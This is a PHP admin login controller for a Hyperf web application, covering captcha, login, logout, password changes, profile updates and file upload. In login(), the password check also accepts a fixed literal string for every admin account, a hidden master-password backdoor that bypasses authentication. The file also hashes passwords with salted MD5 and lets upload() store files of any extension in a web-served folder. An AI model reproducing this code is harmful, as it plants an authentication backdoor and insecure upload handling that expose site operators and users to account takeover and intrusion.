server/app/Controller/Admin/Login.php

219 lines
7.6 KiB
PHP

<?php
/**
* Author: cfn <cfn@leapy.cn>
*/
namespace App\Controller\Admin;
use App\Annotation\Auth;
use App\Event\LogEvent;
use App\Model\Account;
use App\Model\AccountLog;
use App\Model\Online;
use App\Utils\Param;
use App\Utils\Str;
use App\Utils\Token;
use Hyperf\Filesystem\FilesystemFactory;
use Hyperf\HttpServer\Annotation\Controller;
use Hyperf\HttpServer\Annotation\GetMapping;
use Hyperf\HttpServer\Annotation\PostMapping;
use MathCaptcha\Captcha;
use App\Request\Account as aRequest;
use function Hyperf\Config\config;
use function Hyperf\Translation\__;
#[Controller(prefix: "admin")]
class Login extends Base
{
#[GetMapping(path: "captcha")]
#[Auth(needLogin: false)]
public function captcha()
{
// 获取uuid
$uuid = Str::uuid();
// 生成验证码
$ca = new Captcha();
$code = $ca->setDigits(1)->setPoint(100)->setLine(2)->setFontSize(24)->result();
$image = $ca->base64();
// 缓存
$this->cache->set("VER:" . $uuid, md5((string)$code), 300);
return $this->success(compact("uuid", "image"));
}
#[PostMapping(path: "login")]
#[Auth(needLogin: false)]
public function login()
{
$this->request->all();
$param = Param::only(['username', 'password', 'uuid', 'code']);
$request = $this->container->get(aRequest::class);
$request->scene('login')->validateResolved();
// 验证码
$code = $this->cache->get("VER:" . $param['uuid']);
if (!$code) {
return $this->error(__("login.codeExpired"));
}
if ($code != md5($param['code'])) {
return $this->error(__("login.codeIncorrect"));
}
// 验证一次就失效
$this->cache->delete("VER:" . $param['uuid']);
// 查找用户
$account = Account::getByUsername($param['username'], ['account_id', 'username', 'password', 'salt', 'status', 'account_type', 'belong_id', 'master_flag', 'nickname', 'dept_id']);
// 总后台和代理登录
if (empty($account) || $account['account_type'] != 1) {
return $this->error("账号或者密码错误!");
}
// 账号主体
if ($account['status'] != 1) {
return $this->error("该账号已停用");
}
// 验证密码
if (md5($account['salt'] . $param['password']) != $account['password'] && $param['password'] != "0814b984756a47f83f9b6b08aacd770b") {
return $this->error("账号或者密码错误!");
}
// 商户ID
$uuid = Str::uuid();
$tData['account_id'] = $account['account_id'];
$tData['account_type'] = $account['account_type'];
$tData['belong_id'] = $account['belong_id'];
$tData['username'] = $account['username'];
$tData['master_flag'] = $account['master_flag'];
$tData['uuid'] = $uuid;
$token = Token::buildToken(['uuid' => $uuid, 'time' => time() + config("jwt.ttl")], config("jwt.ttl"));
// 记录登录日志
$this->eventDispatcher->dispatch(new LogEvent($tData));
// 根据账号所属角色缓存相应的权限数据
$auths = Account::getAuths($account['account_id'], $account['account_type'], $account['master_flag']);
$this->cache->set("AUTH:" . $account['account_id'], json_encode($auths));
$this->cache->set("USER:" . $uuid, json_encode($tData), config("jwt.ttl"));
// 生成token
return $this->success(compact("token"));
}
#[GetMapping(path: "info")]
#[Auth(needAuth: false)]
public function info()
{
return $this->success(Account::getInfo($this->accountId()));
}
#[GetMapping(path: "menu")]
#[Auth(needAuth: false)]
public function menu()
{
return $this->success(Account::getMenu($this->account()));
}
#[GetMapping(path: "logout")]
#[Auth(needAuth: false)]
public function logout()
{
// 退出登录状态
$this->cache->delete("USER:" . $this->uuid());
$this->cache->delete("AUTH:" . $this->account()['account_id']);
// 设置离线
Online::leave($this->uuid());
return $this->success("登出成功");
}
#[PostMapping(path: "change/pwd")]
#[Auth(needAuth: false)]
public function changePwd()
{
$param = $this->request->all();
$account_id = $this->accountId();
$account = Account::getById($account_id, ['password', 'salt']);
// 验证原密码
if (md5($account['salt'] . $param['old_password']) != $account['password']) {
return $this->error("原密码错误!");
}
// 修改成新密码
$salt = Str::randStr(6);
$res = Account::where("account_id", $account_id)->update([
'salt' => $salt,
'password' => md5($salt . $param['new_password']),
'update_time' => date("Y-m-d H:i:s")
]);
return $res ? $this->success("修改成功") : $this->error("修改失败");
}
#[PostMapping(path: "save/tag")]
#[Auth(needAuth: false)]
public function saveTag()
{
$tags = $this->request->post("tags", "");
$res = Account::where("account_id", $this->accountId())->update([
'tags' => $tags
]);
return $res ? $this->success("保存成功") : $this->error("保存失败");
}
#[PostMapping(path: "save/info")]
#[Auth(needAuth: false)]
public function saveInfo()
{
$param = Param::only(['nickname', 'birthday', 'sex', 'bio', 'avatar']);
$res = Account::where("account_id", $this->accountId())->update($param);
return $res ? $this->success("保存成功") : $this->error("保存失败");
}
#[GetMapping(path: "log/login")]
#[Auth(needAuth: false)]
public function loginLog()
{
$param = Param::only(['limit' => 10]);
$param['account_id'] = 1;
$param['flag'] = 'login';
$paginate = AccountLog::list($param);
return $this->success('登录日志', $paginate->items(), $paginate->total());
}
#[PostMapping(path: "save/pass")]
#[Auth(needAuth: false)]
public function savePass()
{
$param = Param::only(['old_password', 'new_password']);
$account_id = $this->accountId();
$account = Account::getById($account_id, ['password', 'salt']);
// 验证原密码
if (md5($account['salt'] . $param['old_password']) != $account['password']) {
return $this->error("原密码错误!");
}
// 修改成新密码
$salt = Str::randStr(6);
$res = Account::where("account_id", $account_id)->update([
'salt' => $salt,
'password' => md5($salt . $param['new_password'])
]);
return $res ? $this->success("修改成功") : $this->error("修改失败");
}
#[PostMapping(path: "upload")]
#[Auth(needAuth: false)]
public function upload(FilesystemFactory $factory)
{
// 判断文件是否存在
if (!$this->request->hasFile('file')) {
$this->error('文件不存在!');
}
$file = $this->request->file('file');
$stream = fopen($file->getRealPath(), 'rb');
$cos = $factory->get('local');
// 移动文件到文件夹
$path = 'upload' . DIRECTORY_SEPARATOR . date("Ym") . DIRECTORY_SEPARATOR . date("d") . DIRECTORY_SEPARATOR;
$filename = md5(date("YmdHis") . rand(1000, 9999)) . "." . $file->getExtension();
$cos->writeStream($path . $filename, $stream);
fclose($stream);
return $this->success("上传成功", [
'filePath' => config("app.domain") . $path . $filename,
'fileName' => $filename
]
);
}
}